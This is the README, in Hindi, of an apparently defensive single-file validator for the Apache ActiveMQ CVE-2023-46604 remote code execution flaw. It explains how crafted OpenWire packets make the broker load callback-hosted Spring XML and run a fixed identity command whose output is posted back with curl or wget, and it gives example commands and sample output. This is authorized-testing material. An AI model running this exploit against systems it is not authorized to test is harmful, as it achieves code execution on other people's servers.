CVE-2023-46604 ActiveMQ सुरक्षित वैलिडेटर

Apache ActiveMQ CVE-2023-46604 के लिए एक एकल-फ़ाइल, गैर-विनाशकारी वैलिडेटर। यह अपना स्वयं का HTTP कॉलबैक सर्वर शुरू करता है, मेमोरी में लक्ष्य-विशिष्ट Spring XML उत्पन्न करता है, निर्मित OpenWire पैकेट भेजता है, अद्वितीय टोकन के साथ कॉलबैक को सहसंबंधित करता है, और CSV/JSON साक्ष्य लिखता है।

यह प्रोजेक्ट अधिकृत पैठ परीक्षणों और फ्लीट सत्यापन के लिए डिज़ाइन किया गया है। यह जानबूझकर रिवर्स शेल, अप्रतिबंधित कमांड निष्पादन, CIDR विस्तार, स्थिरता, या पेलोड स्टेजिंग को लागू नहीं करता है।

वैलिडेटर क्या साबित करता है

दो निश्चित प्रमाण मोड उपलब्ध हैं:

• rce एक निश्चित, केवल-पठनीय पहचान जांच निष्पादित करता है और उसका आउटपुट अंतर्निहित HTTP सर्वर को लौटाता है। एक कॉलबैक ActiveMQ सेवा संदर्भ में ऑपरेटिंग-सिस्टम कमांड निष्पादन की पुष्टि करता है।
• xml एक खाली Spring संदर्भ प्रदान करता है। एक फ़ेच पुष्टि करता है कि निर्मित OpenWire संदेश ने लक्ष्य को ClassPathXmlApplicationContext इंस्टैंशिएट करने और हमलावर-नियंत्रित XML प्राप्त करने के लिए प्रेरित किया, बिना कोई प्रक्रिया शुरू किए।

कोई XML फ़ाइल बनाने या अलग से होस्ट करने की आवश्यकता नहीं है।

विशेषताएँ

• एक Python फ़ाइल; केवल मानक लाइब्रेरी
• अंतर्निहित थ्रेडेड HTTP सर्वर
• गतिशील, प्रति-लक्ष्य XML और कॉलबैक टोकन
• स्पष्ट एकल-लक्ष्य और बहु-लक्ष्य इनपुट
• सीमित समवर्तीता और भेजने के पुनः प्रयास
• सादा OpenWire और TLS-लिपटे OpenWire समर्थन
• निश्चित Linux और Windows पहचान जांच
• डिफ़ॉल्ट रूप से CSV साक्ष्य, वैकल्पिक JSON
• सटीक परिणाम स्थितियाँ जो गलत "असुरक्षित नहीं" दावों से बचती हैं
• CI-अनुकूल --fail-on-vuln निकास कोड

आवश्यकताएँ

• Python 3.9 या नया
• परीक्षण होस्ट से लक्ष्य OpenWire लिसनर तक नेटवर्क पहुँच
• लक्ष्य से वापस अंतर्निहित HTTP कॉलबैक पते तक नेटवर्क पहुँच
• प्रत्येक लक्ष्य के लिए स्पष्ट प्राधिकरण

डिफ़ॉल्ट OpenWire पोर्ट 61616 है, लेकिन गैर-डिफ़ॉल्ट पोर्ट समर्थित हैं।

त्वरित प्रारंभ

उदाहरणों में केवल-दस्तावेज़ीकरण पते का उपयोग करें; उन्हें अपने अधिकृत संसाधनों से बदलें।

एकल Linux लक्ष्य

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

स्क्रिप्ट स्वचालित रूप से TCP/8000 पर कॉलबैक सर्वर शुरू करती है, उत्पन्न XML प्रदान करती है, OpenWire पैकेट भेजती है, साक्ष्य की प्रतीक्षा करती है, एक परिणाम तालिका प्रिंट करती है, और लिखती है:

activemq-cve-2023-46604-results.csv

कई स्पष्ट लक्ष्य

python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

लक्ष्य फ़ाइल

targets.txt बनाएँ:

# प्रति पंक्ति एक स्पष्ट रूप से अधिकृत होस्ट
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

चलाएँ:

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

लक्ष्य फ़ाइलों में खाली पंक्तियाँ और # से शुरू होने वाली टिप्पणियाँ हो सकती हैं। CIDR विस्तार जानबूझकर असमर्थित है; अधिकृत इन्वेंट्री को स्पष्ट रूप से सूचीबद्ध करें।

स्वचालित कॉलबैक-पता पहचान

सरल रूटेड नेटवर्क के लिए, --callback-host छोड़ें:

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

टूल पहले लक्ष्य की ओर रूट करने के लिए उपयोग किए जाने वाले स्थानीय स्रोत पते का चयन करता है। NAT, VPN, कंटेनर, जंप होस्ट, या मल्टी-होमेड सिस्टम के माध्यम से परीक्षण करते समय --callback-host निर्दिष्ट करें।

Windows-होस्टेड ActiveMQ

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

Windows जांच सेवा पहचान, कंप्यूटर नाम और OS संस्करण लौटाने के लिए एक निश्चित, गैर-इंटरैक्टिव PowerShell कमांड का उपयोग करती है। यह एक इंटरैक्टिव शेल प्रदान नहीं करती है।

केवल XML-लोड सत्यापन

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

यह मोड ProcessBuilder इंस्टैंशिएट नहीं करता है।

TLS-लिपटे OpenWire

ssl:// लक्ष्य का उपयोग करें:

python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

अविश्वसनीय प्रमाणपत्र वाले आंतरिक लिसनर के लिए:

python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify केवल OpenWire TLS कनेक्शन को प्रभावित करता है। कॉलबैक सर्वर HTTP है।

परिणाम स्थितियाँ

स्थिति	अर्थ
CONFIRMED_VULNERABLE_RCE	लक्ष्य ने अपना XML प्राप्त किया और निश्चित पहचान कमांड ने साक्ष्य लौटाया।
CONFIRMED_VULNERABLE_XML_LOAD	xml मोड में, लक्ष्य ने अद्वितीय XML दस्तावेज़ प्राप्त किया।
VULNERABLE_XML_LOAD_ONLY	rce मोड में, XML पुनर्प्राप्ति हुई लेकिन कमांड कॉलबैक नहीं हुआ। कमजोर क्लास-इंस्टैंशिएशन पथ की पुष्टि हुई है; कॉलबैक टूलिंग, ईग्रेस, या प्रक्रिया निष्पादन प्रतिबंधित हो सकता है।
NOT_CONFIRMED	पैकेट भेजा गया, लेकिन समय सीमा से पहले कोई सहसंबंधित HTTP साक्ष्य नहीं आया। यह प्रमाण नहीं है कि होस्ट पैच किया गया है।
UNREACHABLE	TCP/TLS कनेक्शन या पैकेट भेजना विफल रहा।

एक पैच किया गया ब्रोकर, गलत पोर्ट, ईग्रेस फ़िल्टरिंग, रूटिंग समस्याएँ, TLS बेमेल, और एंडपॉइंट नियंत्रण सभी कॉलबैक-आधारित सत्यापन को प्रभावित कर सकते हैं। रिपोर्ट साक्ष्य के रूप में CSV/JSON टाइमस्टैम्प और कॉलबैक आउटपुट संरक्षित करें।

निश्चित पहचान साक्ष्य

Linux पहचान जांच निम्न के समान आउटपुट लौटाती है:

CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

यह HTTP POST के लिए curl, wget, और BusyBox wget आज़माता है। यदि XML प्राप्त होता है लेकिन उनमें से कोई भी क्लाइंट उपलब्ध नहीं है, तो परिणाम गलत नकारात्मक के बजाय VULNERABLE_XML_LOAD_ONLY होता है।

निकास कोड

• 0: सत्यापन पूरा हुआ, या --fail-on-vuln के बिना कमजोरियाँ पाई गईं
• 2: कम से कम एक कमजोर परिणाम पाया गया और --fail-on-vuln प्रदान किया गया था
• argparse त्रुटियाँ सामान्य गैर-शून्य कमांड-लाइन त्रुटि कोड का उपयोग करती हैं

उदाहरण CI उपयोग:

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

यह कैसे काम करता है

CVE-2023-46604 Java OpenWire अनमार्शलिंग को प्रभावित करता है। वैलिडेटर एक ढीला-मार्शल किया गया OpenWire ExceptionResponse भेजता है जिसका अपवाद वर्ग है:

org.springframework.context.support.ClassPathXmlApplicationContext

अपवाद संदेश उत्पन्न Spring XML का अद्वितीय URL है। कमजोर ActiveMQ कोड हमलावर-चयनित क्लास को उस URL के साथ इंस्टैंशिएट करता है। rce मोड में, Spring संदर्भ एक निश्चित ProcessBuilder जांच शुरू करता है; xml मोड में, संदर्भ खाली है।

प्रत्येक लक्ष्य को एक अलग टोकन प्राप्त होता है, उदाहरण के लिए:

http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

यह समवर्ती कॉलबैक को सही लक्ष्य के लिए जिम्मेदार ठहराने की अनुमति देता है।

कमांड संदर्भ